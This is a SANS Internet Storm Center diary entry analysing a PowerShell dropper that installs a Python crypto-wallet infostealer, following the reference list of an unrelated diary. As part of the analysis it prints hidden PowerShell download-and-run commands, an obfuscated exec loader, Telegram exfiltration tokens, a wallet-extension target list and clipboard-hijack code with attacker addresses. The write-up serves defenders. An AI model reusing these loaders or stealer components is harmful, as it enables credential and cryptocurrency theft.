[1] https://www.sans.org/cyber-security-courses/network-monitoring-threat-detection/
[2] https://www.exploit-db.com/exploits/25978
[3] https://www.exploit-db.com/exploits/43055
[4] https://www.netgear.com/support/product/dgn2200v1/
[5] https://www.netgear.com/support/product/dgn1000/
[6] https://isc.sans.edu/diary/The+Curious+Case+of+a+12YearOld+Netgear+Router+Vulnerability/31592
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-12847
[8] https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
[9] https://www.ibm.com/docs/en/i/7.5?topic=extensions-standard-c-library-functions-table-by-name
[10] https://github.com/radareorg/radare2
[11] https://c-for-dummies.com/blog/?p=1418
[12] https://brettshavers.com/brett-s-blog/entry/i-paid-100-000-to-learn-forensics-and-still-dont-know-forensics
[13] https://isc.sans.edu/weblogs/urlhistory.html?url=L3NldHVwLmNnaQ==
[14] https://thehackernews.com/2024/11/androxgh0st-malware-integrates-mozi.html
[15] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

From PowerShell to a Python Obfuscation Race!, (Wed, Jan 29th)

Attackers like to mix multiple technologies to improve the deployment of their malicious code. I spotted a small script that drops a Python malware. The file was sent on VirusTotal and got a score of 2/60![1] (SHA256:96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f). The script starts by downloading and opening a fake Garmin document through Powershell:

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://www[.]dropbox[.]com/scl/fi/30nkntkwjho3k60w7q3gu/Garmin_Campaign_Information_for_Partners_V5.docx?rlkey=k1zd9llfafqdqpb6be1rpqlmr&st=rxkezfgo&dl=1', '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx')"
powershell -WindowStyle Hidden -Command "Start-Process '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx'"

Then, it downloads a complete Python environment and unzips it on the victim's computer:

powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://gitlab[.]com/grr4174450/gar/-/raw/main/fuknewGa1212.zip', 'C:\Users\Public\Document.zip')"
powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"

The file "Document.zip" is pretty big (66MB) and contains a Python environment. Once installed, a Python script is launched:

powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"

The file "ld_312.pd" is pretty simple and will execute a payload that has been compressed and Base64-encoded:

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'PyiF59g///7z8X [...] yWzVVwJe'))

Once you deobfuscate this, you'll find another payload in reversed strings, compressed and Base64-encode. The funny part is that this technique has been implemented approximately 30(!) times. I stopped counting in Cyberchef. Finally, I got this code:

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from base64 import b64decode
import os
count = 0;
key = b'aPIYKiq93v3ES7qf';                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                key = b'Eeo2IU0s24TMN0Tc'
def decrypt(ciphertext, key):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()
    decrypted_data = decryptor.update(b64decode(ciphertext.encode('utf-8'))) + decryptor.finalize()
    unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
    unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
    return unpadded_data.decode('utf-8')
with open(os.path.join(os.path.dirname(__file__), 'LogActiveScutG4.sqlite'), 'r', encoding='utf-8') as file:
    content = file.read()
exec(decrypt(content,key))

The next payload is hidden in a fake SQLite database located in Document.zip. It's a classic InfoStealer that uses Telegram for exfiltration:

class BotInfo:
    bot_id = 'Scut_1212_Ga-HN'
    tokenbot_default = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c"
    chatid_default = -1002427758677
    tokenbot_startup = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c"
    chatid_startup = -1002466388958
    tokenbot_error = "7938337208:AAG_OU23w7v2ahPVAffIORZ6Ecc__-jAoeU"
    chatid_error = -1002464848676
    chatid_backup = 5184413483
    caption = ""
    host_update = ""

Of course, these days, specific attention is paid to crypto wallets. Besides the classic data, this malware looks at many browser extensions:

class GetWalletExtension:
    listExtension = {
        'nhbicdelgedinnbcidconlnfeionhbml': 'Begin Wallet',
        'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby',
        'nhnkbkgjikgcigadomkphalanndcapjk': 'Clover Wallet',
        'cnmamaachppnkjgnildpdmkaakejnhae': 'Auro Wallet',
        'jojhfeoedkpkglbfimdfabpdfjaoolaf': 'Polymesh Wallet',
        'nknhiehlklippafakaeklbeglecifhad': 'Nabox Wallet',
        'ookjlbkiijinhpmnjffcofjonbfbgaoc': 'Temple',
        'dkdedlpgdmmkkfjabffeganieamfklkm': 'Cyano Wallet',
        'cihmoadaighcejopammfbmddcmdekcje': 'LeafWallet',
        'lodccjjbdhfakaekdiahmedfbieldgik': 'DAppPlay',
        'ijmpgkjfkbfhoebgogflfebnmejmfbml': 'BitClip',
        'onofpnbbkehpmmoabgpcpmigafmmnjhl': 'Nash Extension',
        'bcopgchhojmggmffilplmbdicgaihlkp': 'Hycon Lite Client',
        'klnaejjgbibmhlephnhpmaofohgkpgkd': 'ZilPay',
        'algblmhagnobbnmakepomicmfljlbehg': 'ADS Wallet',
        'jccapkebeeiajkkdemacblkjhhhboiek': 'Crust Wallet',
        'agechnindjilpccclelhlbjphbgnobpf': 'Fractal Wallet',
        'jnldfbidonfeldmalbflbmlebbipcnle': 'Bitfinity Wallet',
        'jblndlipeogpafnldhgmapagcccfchpi': 'Kaikas',
        [...]

And replace data with the Attacker's wallets (via the clipboard):

class FuncCopyCoin:
    patterns = {
        'BTC - Bech32': re.compile(r'^bc1[a-zA-Z0-9]{39,59}$'),
        'ETH': re.compile(r'^0x[a-fA-F0-9]{40}$'),
        'XRP': re.compile(r'^r[a-zA-Z0-9]{24,34}$'),
        'LTC - Bech32': re.compile(r'^ltc1[a-zA-Z0-9]{39,59}$'),
        'TRX': re.compile(r'^T[a-zA-Z0-9]{33}$'),
        'DOGE': re.compile(r'^[D9][a-zA-Z0-9]{33}$'),
        'SOL': re.compile(r'^[1-9A-HJ-NP-Za-km-z]{44}$'),
        'ADA - Bech32': re.compile(r'^addr1[0-9a-zA-Z]{98}$'),
        'TON': re.compile(r'^[EU]Q[A-Za-z0-9_-]{46}$'),
    }

    myWallets = {
        'BTC - Bech32': "bc1q23dns0cmqvl4fplcqs7frrxt9m0jyntns57j89",
        'ETH': "0x2BB681F2ACB1765c7BB9772a720b472605581F80", #chung v?i BNB
        'XRP': "rKGVo3QH9jC7fHkpYmsMcZ27LGHoPspjAz",
        'LTC - Bech32': "ltc1qf4mynptsd4tpdyeukku2tu5sl0ggduxxtz6ga6",
        'TRX': "TXHgfLWtk55aQq1WM9WGfg8ZjcqPebxBUq",
        'DOGE': "D8xfnh6N1Y8GDA9Yu1N28LrczxVXFJVh95",
        'SOL': "41hmZSiXCvomvV3bYbZRCbD497SHg9RVASFPw3F4KUqR",
        'ADA - Bech32': "addr1q8tgjkh53rcryz9z9rx28lz0cvv8n558q6qq4ac3uhmk393kj5f0ea87nvnuwfc48th8372js2rmngtyqnap9vg780msle3jra",
        'TON': "UQBn4H7evUFhvpi9VUZTEYuNP68lh-XTWB1lOybRNl1zXbqj",
    }

[1] https://www.virustotal.com/gui/file/96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
❌
❌